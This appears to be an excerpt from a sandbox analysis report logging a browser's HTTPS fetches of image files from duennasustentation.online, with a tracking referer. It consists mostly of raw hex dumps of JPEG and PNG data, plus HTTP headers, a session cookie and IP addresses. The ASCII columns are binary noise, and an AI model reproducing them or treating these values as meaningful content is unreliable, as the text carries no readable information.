2025-01-08 14:44:43 UTC	1369	IN	Data Raw: ff d8 ff e1 16 cb 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 02 d9 00 00 01 01 00 03 00 00 00 01 02 da 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 34 3a 31 39 20 31 39 3a 31 39 3a 32 30 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: ExifMM*(12i ''Adobe Photoshop 21.0 (Windows)2023:04:19 19:19:200
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 90 7f ce 5c c5 8c da 5c 57 53 f5 d0 0f 5f 17 fa 87 f2 ae 69 e2 09 94 d2 bc 6c d6 ed b7 cb 84 94 8b 3f 48 3c 3c 12 49 4f ff d0 eb 31 4f 56 e8 f8 46 e0 45 d4 81 ea 3e a2 38 fd ed b6 2c 1e b5 d7 b2 3a c3 d8 1e df 4e aa a7 6d 63 c4 fe 73 97 4d f5 9b 2d 98 9d 34 62 e3 b8 1b 2e 05 80 4c 90 d8 f7 bd 71 74 54 64 88 55 72 1e 1f 40 26 ab 50 d9 c4 38 ae 44 6b dd d2 e8 1d 02 ce a7 63 ac f6 b6 8a 88 0e 2e ee 7f 75 ab b5 c1 e9 78 78 f8 ed ac 54 d9 88 71 21 73 5f 56 b3 46 03 ec 6d d2 2b b6 3e 44 78 ae 88 75 9c 50 00 33 b8 98 d0 48 4e c5 2c 60 59 20 4b ad ac cb c4 4d 0d 42 6a 36 7a 8e 6b 5c 3d a6 03 67 80 15 9d 40 f1 2b 06 fb 31 ef cb 39 35 38 b6 cc 71 ed 24 c4 f7 dc e6 ab 98 5d 51 b6 0d d7 38 09 81 ce 8a 51 30 c7 45 7b b3 99 8b 55 d9 19 80 91 5c b8 ed 13 0d ec d5 77 16 Data Ascii: \\WS_il?H<<IO1OVFE>8,:NmcsM-4b.LqtTdUr@&P8Dkc.uxxTq!s_VFm+>DxuP3HN,`Y KMBj6zk\=g@+1958q$]Q8Q0E{U\w
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 2d 6e 85 90 fa 7a 8d 17 35 db 72 eb 3b 58 46 82 d6 9d 2c a2 cf f8 d6 ff 00 35 fe 8a e5 ce 63 7e 8a fb aa 27 46 91 f2 9f fc c9 68 63 da 1c 0b 1d c8 d5 ae 1a 10 7f 79 a9 d0 d0 fe 21 19 35 8f e0 5f 52 c6 70 76 6d ce 6f 0e 6b 48 57 ea 3e ff 00 97 f1 58 1f 57 b2 6e bf 0a ac 8b 5c 1f 63 ab 68 73 87 78 f6 c9 5b 78 ae 9b 4c fe ef f1 57 81 b1 7e 0e 71 15 2a ec 5b 43 84 17 3a 0a 31 fa 2a ad ae f7 24 a7 9f fa d8 65 d5 1f e4 1f ca b9 cd c3 73 7c c2 de fa d0 64 55 e3 07 f2 ac 12 dd 5a 98 77 5e 36 49 f9 a9 27 8d 09 49 04 bf ff d3 c4 6c 88 63 07 28 56 d3 69 71 6b 18 4f 8a 95 bb ab 2d 2c 74 95 65 96 58 d0 1e 0e a4 28 88 3c 35 a5 84 92 2d ce b3 15 e5 80 bd a5 ad 1a ad 3e 8f 8d 56 43 81 7e 9a 81 af c5 57 b6 db 9c 7d e4 6d 3d 96 c7 42 e9 99 b7 e5 31 d5 86 b5 a2 1c 37 1d 34 Data Ascii: -nz5r;XF,5c~'Fhcy!5_RpvmokHW>XWn\chsx[xLW~q[C:1$es\|dUZw^6I'Ilc(ViqkO-,teX(<5->VC~W}m=B174
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 5f 48 c7 c1 e9 ce ea c5 a0 e4 65 48 a5 e4 6a da 41 da 36 fe ef aa f1 bd df d8 5e 79 5b ef ca ba ac 6a cc 3e fb 19 53 3e 2f 70 ad a7 fe 92 f5 d2 ca e8 34 e0 d4 62 bc 66 32 a6 83 a4 86 80 10 00 59 21 11 07 ab 62 97 cb 77 59 a0 03 7b a7 ef 58 c1 fb 9f 99 98 e2 49 15 e8 09 8f a4 74 f7 7c 96 bd 95 ef a9 d5 b7 fc 23 83 49 1e 1c bb f2 2c 8e b4 df 43 a7 fa 35 88 7d ce 93 f0 1e da e5 39 92 3d bb bc 7d d4 3f 2f 11 e7 1e 5f 6d e5 c2 cf de da 0f bb 73 bf 96 b9 df 54 82 2a ad a6 df d2 07 c9 07 46 8f 6b 9b fc 85 d6 bb 1f 2f a7 1a c5 75 fa cd b4 38 b8 0e 43 89 98 8f ce de b1 f2 29 6d ae 76 4d 0d f4 6e de 3d 46 16 e8 41 07 d8 ef eb 28 49 04 d1 66 1b 58 73 72 df 49 c9 77 d9 f4 04 00 f3 c8 dc 3f c2 7f 69 07 1d ac 75 cd a8 b4 87 ea e0 4f d1 27 f7 58 ac 54 ec 67 39 f5 88 ae Data Ascii: _HeHjA6^y[j>S>/p4bf2Y!bwY{XIt\|#I,C5}9=}?/_msT*Fk/u8C)mvMn=FA(IfXsrIw?iuO'XTg9
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: c9 1a 1a 32 01 74 86 8d c2 9c 8c 87 73 e9 93 3d e5 c5 dd fe 6a 7d 16 bf 4b aa 39 be 35 d6 4f cd a1 4a c6 fe aa fa 9a 24 3e c6 54 df e5 11 ad 9c 7e ea 26 29 db f5 82 d6 44 6c ae b6 ff 00 d1 51 c0 ea 99 ec 9f ad c9 78 d3 4d bc aa 23 77 a6 08 57 fa d3 a0 b5 b1 cb 79 54 98 df d1 c7 dc 9c 77 58 90 11 e9 b9 25 10 0c 1f 04 92 53 ff d0 f4 7c a9 14 bb bf b8 69 e5 0b 9b eb 3e 91 70 2c 31 7b 44 d6 3f 78 7e e7 f2 7d df 41 78 3a 48 4b af 93 24 37 0f b7 7d 5c 76 57 ed db f7 34 86 7d 91 ba e9 cf aa ba 43 bf 4e 79 3f 95 7c da 92 64 3e 5f b5 76 4f 98 fd 1f a3 ac dd df c4 78 a0 d9 ea 6d 1c f0 57 ce e9 27 7d ab 1f a0 dd 3b 8e 80 ff 00 af 92 54 13 ea 68 dd 74 8d 7b af 9f 12 4e 0a 7e 82 77 f4 a3 33 3b 78 f3 9f 72 3b 66 38 3c f9 78 2f 9d 92 4e 41 7e 8a b0 fb 78 3c 79 2a 97 93 Data Ascii: 2ts=j}K95OJ$>T~&)DlQxM#wWyTwX%S\|i>p,1{D?x~}Ax:HK$7}\vW4}CNy?\|d>_vOxmW'};Tht{N~w3;xr;f8<x/NA~x<y*
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 6f 6e 67 00 00 00 00 00 38 42 49 4d 03 ed 00 00 00 00 00 10 00 48 00 00 00 01 00 01 00 48 00 00 00 01 00 01 38 42 49 4d 04 26 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 3f 80 00 00 38 42 49 4d 04 0d 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 04 19 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 03 f3 00 00 00 00 00 09 00 00 00 00 00 00 00 00 01 00 38 42 49 4d 27 10 00 00 00 00 00 0a 00 01 00 00 00 00 00 00 00 02 38 42 49 4d 03 f5 00 00 00 00 00 48 00 2f 66 66 00 01 00 6c 66 66 00 06 00 00 00 00 00 01 00 2f 66 66 00 01 00 a1 99 9a 00 06 00 00 00 00 00 01 00 32 00 00 00 01 00 5a 00 00 00 06 00 00 00 00 00 01 00 35 00 00 00 01 00 2d 00 00 00 06 00 00 00 00 00 01 38 42 49 4d 03 f8 00 00 00 00 00 70 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ong8BIMHH8BIM&?8BIM8BIM8BIM8BIM'8BIMH/fflff/ff2Z5-8BIMp
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 96 00 96 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 0a ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 0a 0b 01 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 01 00 02 03 04 05 06 07 08 09 0a 0b 10 00 01 04 01 03 02 04 02 05 07 06 08 05 03 0c 33 01 00 02 11 03 04 21 12 31 05 41 51 61 13 22 71 81 32 06 14 91 a1 b1 42 23 24 15 52 c1 62 33 34 72 82 d1 43 07 25 92 53 f0 e1 f1 63 73 35 16 a2 Data Ascii: "?3!1AQa"q2B#$Rb34rC%Scs5
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 2d 76 db 8e 89 1e 14 49 90 91 3a 20 97 98 fa e9 ae 4e 30 1f b8 7f 2a e6 6d 22 76 95 d3 7d 71 83 7e 33 8f 01 87 f2 ae 61 e3 73 d3 4a e1 b2 38 1b f9 d6 39 49 4b 6e a9 24 97 ff d1 bf 69 71 7e e3 ee 27 92 55 9c 1a eb 16 17 b9 b2 15 1a 77 3b 49 9f 35 b3 80 da b2 41 64 40 66 85 52 24 53 60 03 1f 32 83 2d cc d8 4d 7a 11 c2 b7 8b 8e 72 31 37 13 06 34 55 2e 15 7a ef 6c 68 d4 0c 5c fb e8 26 a3 a3 5c 7d b3 e0 99 28 8a db 4e aa 04 ed 6d aa b1 2e 6d e0 be 5e 1c 76 8f 12 af 65 65 f4 ee 8b 8c 6c c8 70 6d f6 4f a6 c8 25 d2 3f 35 a2 0a 27 4e b7 d5 26 cd 3f 44 c3 06 7f 15 83 d7 ba 95 16 b9 c3 1c 7e 98 18 16 10 74 1f c8 d3 77 f6 d3 ac 00 08 64 c5 0e 29 79 35 30 3a b6 0d b9 39 39 39 d4 b8 b6 a6 ee aa a7 02 1c e7 1e 37 b1 ff 00 4b f9 3b 96 4e 5f d6 fb 5f 75 8e b1 bb 19 3a 89 Data Ascii: -vI: N0*m"v}q~3asJ89IKn$iq~'Uw;I5Ad@fR$S`2-Mzr174U.zlh\&\}(Nm.m^veelpmO%?5'N&?D~twd)y50:9997K;N__u:
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: c8 f2 6e aa 82 e7 34 36 c0 1f 1e 9c fb 88 3f 48 b7 fa aa 56 db 8b 6e 3c d7 02 46 9d a1 56 ae 86 b2 f7 bd b4 5b 73 f5 dc ff 00 4c b5 a3 fe b9 77 a6 d5 9c eb 5d 73 de 08 35 d6 d9 87 48 33 03 dc 3d a8 ce 44 8e 20 28 75 5d 10 01 e1 3b 87 1b 3a bd b9 b7 3c 1d 2c 81 a7 88 32 9e a7 ef d9 60 f6 97 30 c8 f3 94 5c e0 18 5b bb 92 d8 70 f3 3e ed 55 6c 36 cb 5a 49 92 dd 1c d3 e0 53 c0 06 88 60 9c 8d 90 f6 df 55 fa 91 a1 b5 63 d8 ef d0 d8 dd 09 d3 6b 81 ff 00 a8 72 ec b0 1c 5d 6b 84 10 36 f2 7e 2b cd fa 16 7e 3e 3d cc c5 cf 21 a1 80 b5 af 76 a0 87 7e ff 00 ee af 48 e9 4f 6b e8 63 d8 ed f5 b8 1f 49 d3 3e c9 f6 7b 95 9c 32 34 62 5a d9 80 b1 21 d5 ba ee 15 1b dd 0f 33 e1 2a eb b8 59 99 8e 8b 0f c0 29 7a 31 75 70 be b2 38 1f 48 fc 56 28 d7 61 f3 5a df 58 dd 35 d4 7f ac b2 Data Ascii: n46?HVn<FV[sLw]s5H3=D (u];:<,2`0\[p>Ul6ZIS`Uckr]k6~+~>=!v~HOkcI>{24bZ!3*Y)z1up8HV(aZX5
2025-01-08 14:44:43 UTC	711	IN	Data Raw: 3c 6a 4b 9a d5 2c 0d 13 e2 c5 28 d8 1d c3 e9 b6 3d af 0d 2d 20 b5 c0 90 47 05 65 64 41 b1 df 15 53 a3 75 56 b6 d3 8d 73 bf 46 e7 1d 87 c1 df f9 9a af 47 50 19 59 76 86 99 6b 1c 47 dc 54 fd 18 68 82 d2 eb bf e0 47 f2 5d f9 56 3b a4 86 fd cb 57 ae 3a 5f 40 f1 69 fc ab 36 3d 8d d1 44 77 2b c2 6d 9f a2 fe 09 24 07 b0 f8 24 82 9f ff d6 2f f8 bc e8 cd cc ea 4e ea 56 b6 69 e9 c3 d9 3c 1b dc 3d bf f6 cd 7e ff 00 eb be b5 dc 54 c2 eb 4b b9 93 3e 3f 95 57 fa af d3 bf 65 7d 58 c6 a7 6e db ad 67 af 77 f5 ed f7 99 fe ab 76 d6 ad d3 0d 6c 94 42 52 12 7d 56 b4 68 39 fb 81 59 59 ee 17 e6 16 bb 56 57 00 0f 86 ab 42 ab 43 ad 7e bc 34 7e 25 67 b1 bb b2 5e 7b 97 12 7e f4 42 52 7d 92 bb 2c 6c b7 56 b7 45 8f 9f d0 5b 6e 3d ef 60 22 e6 6e 7d 60 18 1b bf 79 c3 f3 9d b7 e8 ae 8d Data Ascii: <jK,(=- GedASuVsFGPYvkGThG]V;W:_@i6=Dw+m$$/NVi<=~TK>?We}XngwvlBR}Vh9YYVWBC~4~%g^{~BR},lVE[n=`"n}`y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49795	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:42 UTC	818	OUT	GET /images/logo2.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:43 UTC	1051	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:43 GMT Content-Type: image/png Content-Length: 56100 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2949-db24" expires: Wed, 08 Jan 2025 14:44:41 GMT last-modified: Tue, 07 Jan 2025 13:16:57 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=owrcpq5D%2F5yYRtIFmaCSphZdm4BGJjar4YWB%2BxCkzUWeV6rjNRs7H%2Bob9Fq2xSRZm%2B8%2FSykELMLstRXNklxMjAcG5ZkfkBXyDyGgrXowQJaJ9HiottPc1gCgHsKnWgPKzZjrgTFeLguBYsRf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7945eb88c95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1925&min_rtt=1861&rtt_var=744&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2870&recv_bytes=1396&delivery_rate=1569048&cwnd=204&unsent_bytes=0&cid=cf4b5815a70c0eee&ts=932&x=0"
2025-01-08 14:44:43 UTC	318	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 c1 00 00 01 49 08 06 00 00 00 7a ba f0 5c 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 07 e2 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 30 3a 30 31 3a 35 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 Data Ascii: PNGIHDRIz\pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:R
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 3a 64 63 3d 22 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 65 6c 65 6d 65 6e 74 73 2f 31 2e 31 2f 22 20 78 6d 6c 6e 73 3a 70 68 6f 74 6f 73 68 6f 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 70 68 6f 74 6f 73 68 6f 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 45 76 74 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 Data Ascii: f:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sTy
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 32 32 2d 30 34 2d 32 31 54 32 31 3a 35 37 3a 32 31 2b 30 38 3a 30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 22 20 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 37 39 64 33 37 37 39 32 2d 32 61 32 30 2d 39 32 34 36 2d 38 34 61 66 2d 33 36 62 35 31 32 36 37 65 62 39 34 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 32 34 2d 31 30 2d 31 34 54 31 37 3a 30 32 3a 32 39 2b 30 38 3a 30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 Data Ascii: 22-04-21T21:57:21+08:00" stEvt:softwareAgent="Adobe Photoshop 21.0 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:79d37792-2a20-9246-84af-36b51267eb94" stEvt:when="2024-10-14T17:02:29+08:00" stEvt:softwareAgent="Adob
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 89 01 ac a2 f3 c1 eb 7b 38 c1 0d af 40 76 cb d4 1e 23 bd 09 c1 8d af e2 1d 7e 1c ba 00 28 b3 ee 37 85 e3 38 8e b3 d3 71 7f da 1c 67 47 a0 80 07 44 8a ce 56 bc 5e fd f0 6f 7c 05 72 5b 35 cc f1 d2 f2 f1 af 7f 01 6f e0 31 71 10 4e d8 f8 f8 8e e3 38 8e b3 93 70 21 d8 71 b6 77 4a 7c a1 69 08 3a 4d 31 87 f4 c7 bf 79 08 64 b7 68 d8 e3 66 34 c1 bf e1 15 cc 61 47 a3 b3 81 84 b2 71 97 36 c7 71 1c c7 d9 91 b9 10 ec 38 db 33 25 6e ea 55 a6 e8 0f 16 ef 90 83 08 6e 1d d6 f0 01 b8 5c 5a 23 82 1b 5f c1 1b 38 10 3b 55 a1 54 e3 f3 71 41 d8 71 1c c7 d9 c1 b9 10 ec 38 db ab f2 00 5c aa d8 ef 14 6f 40 1f fc 3b df 86 8c 14 5d 04 57 5b e9 8d f1 6f 1e 8a 77 f4 e1 d8 c9 0a 25 1a cf 5d 73 41 d8 71 1c c7 d9 81 b9 10 ec 38 db ab 34 d0 62 c5 4e 50 bc 81 7d f1 ef 7e 0b 32 9a 6f 9b 73 Data Ascii: {8@v#~(78qgGDV^o\|r[5o1qN8p!qwJ\|i:M1ydhf4aGq6q83%nUn\Z#_8;UTqAq8\o@;]W[ow%]sAq84bNP}~2os
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 75 de 8d 39 ec 72 d2 ee 78 1c 2d 00 5d 68 e3 40 ba 25 04 b4 50 21 07 cc 3e bd 2a df a6 51 7b 82 db 5f c6 1c d8 0b fd 41 37 5c d4 e7 82 b0 e3 38 8e b3 83 73 21 d8 71 1a 92 07 24 14 9d a8 78 47 1c 4c 70 c7 60 48 6f 51 ef dd 99 81 57 12 dc fc 08 14 83 2e b3 5b 1c 48 25 0d 08 41 57 2e a9 7a a3 46 9d f1 6f 7d 19 b3 ff 01 e8 0f 36 3e 9e bf 65 c7 75 1c c7 71 9c 6d cd 85 60 c7 69 28 86 38 00 4f 57 bc 23 06 10 0c 7a 0d b2 5a 6d f1 6e bd 63 ae c3 bf e9 51 28 04 5d 61 e3 52 8b fa b0 40 ae 40 31 d8 d1 1f 81 ae af 72 53 69 d2 85 e0 9e 57 31 bd fb 63 7f b0 a8 a8 bb a2 c0 71 1c c7 d9 a1 b9 10 ec 54 4e d4 5d 00 b5 25 ca 47 21 cf 51 cc 21 87 10 dc f6 2a e4 b4 49 d9 ee bd a3 af 26 b8 ee 91 38 08 af de 82 1a 61 23 90 0f d1 b8 77 d1 29 1f 57 bf 6d e3 dd f0 ef 78 16 ef 80 3e Data Ascii: u9rx-]h@%P!>Q{_A7\8s!q$xGLp`HoQW.[H%AW.zFo}6>euqm`i(8OW#zZmncQ(]aR@@1rSiW1cqTN]%G!Q!I&8a#w)Wmx>
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: fc f1 51 a4 18 74 79 35 61 52 40 d7 01 b9 02 ed f7 dc a2 63 4a a3 2e f8 b7 bd 84 ec 7f 20 3a d9 c6 63 b8 6b fa 6d e3 81 16 59 58 02 a6 cf e1 f8 d7 3c 8c 7f f5 43 98 5e fd 61 6e dc c6 cf 05 61 c7 71 1c 27 55 dc 9c a7 5d 85 51 28 54 08 32 f0 7f fb 18 a4 e5 55 d8 44 97 ce c2 fe f8 01 2c fa 01 4a 8b c0 33 90 96 0b ad f7 c6 74 3d 18 69 d7 7d 93 ed 25 b7 2d de 39 bf c3 fe 69 34 ac 57 c8 94 9d b7 3e 58 88 07 61 2c 52 bc fd bb 13 dc 3e 18 b2 db 6c eb b3 aa 35 73 e4 d5 f8 c6 27 f1 d0 15 e8 4a 8b 34 35 b0 79 17 34 1f 58 03 d2 ef 30 a4 45 97 2d 3e a6 34 ed 4a 70 f7 4b 84 b7 5e 80 fd f6 2b a4 07 20 12 d7 92 57 d8 18 28 51 58 01 e6 f4 df e0 ff ec 1e c8 8e df 60 78 03 2e 24 1a fc 00 e1 33 8f 41 6b 0b 8d 0c 84 5b 7c 7a 8e e3 38 ce 2e ce 85 e0 9d 9d 47 1c de 96 28 92 0e Data Ascii: Qty5aR@cJ. :ckmYX<C^anaq'U]Q(T2UD,J3t=i}%-9i4W>Xa,R>l5s'J45y4X0E->4JpK^+ W(QX`x.$3Ak[\|z8.G(
2025-01-08 14:44:43 UTC	77	IN	Data Raw: 0a b0 a3 c6 22 02 78 60 7a 0c c4 74 3b ac aa 5b ad 06 fe 05 ac af c3 43 e4 38 8e e3 ec a4 5c 4d f0 ce c2 07 92 01 38 b8 f0 02 bc cb 9f a5 da a7 b7 4d 0f d2 6e 1b 46 e2 ce 53 89 26 cf c4 74 33 f1 e6 21 15 b3 47 06 30 f7 ab 4d be e4 Data Ascii: "x`zt;[C8\M8MnFS&t3!G0M
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 1d 7b 25 e2 fb 24 ee bc 0a 1b 85 98 2e 06 4a d9 71 83 f0 4f 93 e0 40 97 59 b0 20 2d 3a 41 46 3a ba 6c 16 ba 2c 81 b4 00 9a 1b 74 55 11 e1 93 d7 23 2d 0c 44 16 5d 4e bc 92 d9 4a e2 36 71 00 05 96 68 f8 4b 50 52 88 ff 87 67 20 bd c9 b6 ba 67 35 32 03 2f c7 4f cb 24 71 eb 6f d1 99 11 b2 5b 5c 23 2c ad 0d ba 64 1d e1 5f cf c6 f4 bf 04 9d 31 16 fb fd f8 78 ac f2 c6 23 8d 05 c8 06 d3 ae 27 e6 c0 13 31 47 9c 8d b4 eb 51 ed 31 25 37 3b 59 7a a3 71 3d b0 02 81 a0 e9 4a f4 e5 04 bc 19 ef 23 5d 8f ab e9 cc f1 7e fe 17 c4 78 24 9e 7c 18 cd 05 d2 dd 87 5b 8e e3 38 4e ed b8 95 e0 9d 81 0f 14 5a 74 5e 5c 02 e1 5f f5 2c b5 9a 2a 90 d3 02 d3 eb 28 f8 f6 7d ec d4 95 48 4b 49 5e 04 c6 26 dd 21 24 5d d1 e9 53 30 bd 4e 46 1a 6f 98 24 16 af 22 36 21 7a ff 03 28 8e 90 66 3b e8 Data Ascii: {%$.JqO@Y -:AF:l,tU#-D]NJ6qhKPRg g52/O$qo[\#,d_1x#'1GQ1%7;Yzq=J#]~x$\|[8NZt^\_,*(}HKI^&!$]S0NFo$"6!z(f;
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: ad c7 1c 75 35 c1 1f ff 0e c5 a0 2b 6c 5d 4a cd 37 b0 c4 6f a0 4c 5c 47 fd 53 ed 74 b5 cf b7 80 07 ba 62 11 ba 7a 4e 3d 0e ea 38 8e e3 38 35 73 21 78 47 e3 83 2e 50 cc a1 47 e3 5f f9 38 64 34 4a f9 21 a4 45 0f fc 07 86 61 76 ef 8a ce 4c 16 6d 2a 90 93 85 e9 5e e5 95 f7 3f 31 47 5c 8e 7f fd e3 90 08 d0 d5 1b 4d f4 5a 69 91 bc f6 f8 37 0e c1 bf f9 0d fc eb 9e 45 6c 63 74 a1 6e 14 b4 1b 98 10 b7 35 9b 07 e6 e0 fe f8 37 bf 0a 39 d5 ad 00 03 44 d8 0f ff 81 ce 5e 0b 8d 4c fd eb 9d cb 80 dc 64 10 1e 31 8c f0 91 5f 42 c9 ea 7a ee 6c eb 30 87 5f 4a 70 cd 5f 91 62 d0 55 f5 58 11 2e 57 d7 ae 21 69 c0 ca d9 e8 92 19 f5 38 98 e3 38 8e e3 d4 cc 85 e0 1d 85 10 0f ae 58 6a 21 df e0 ff fc 66 c8 ac f2 02 a0 2d 3f 5c 8b 1e 04 f7 0c c5 ec be 07 3a c7 42 29 48 5e 1a d2 7e ef Data Ascii: u5+l]J7oL\GStbzN=885s!xG.PG_8d4J!EavLm*^?1G\MZi7Elctn579D^Ld1_Bzl0_Jp_bUX.W!i88Xj!f-?\:B)H^~
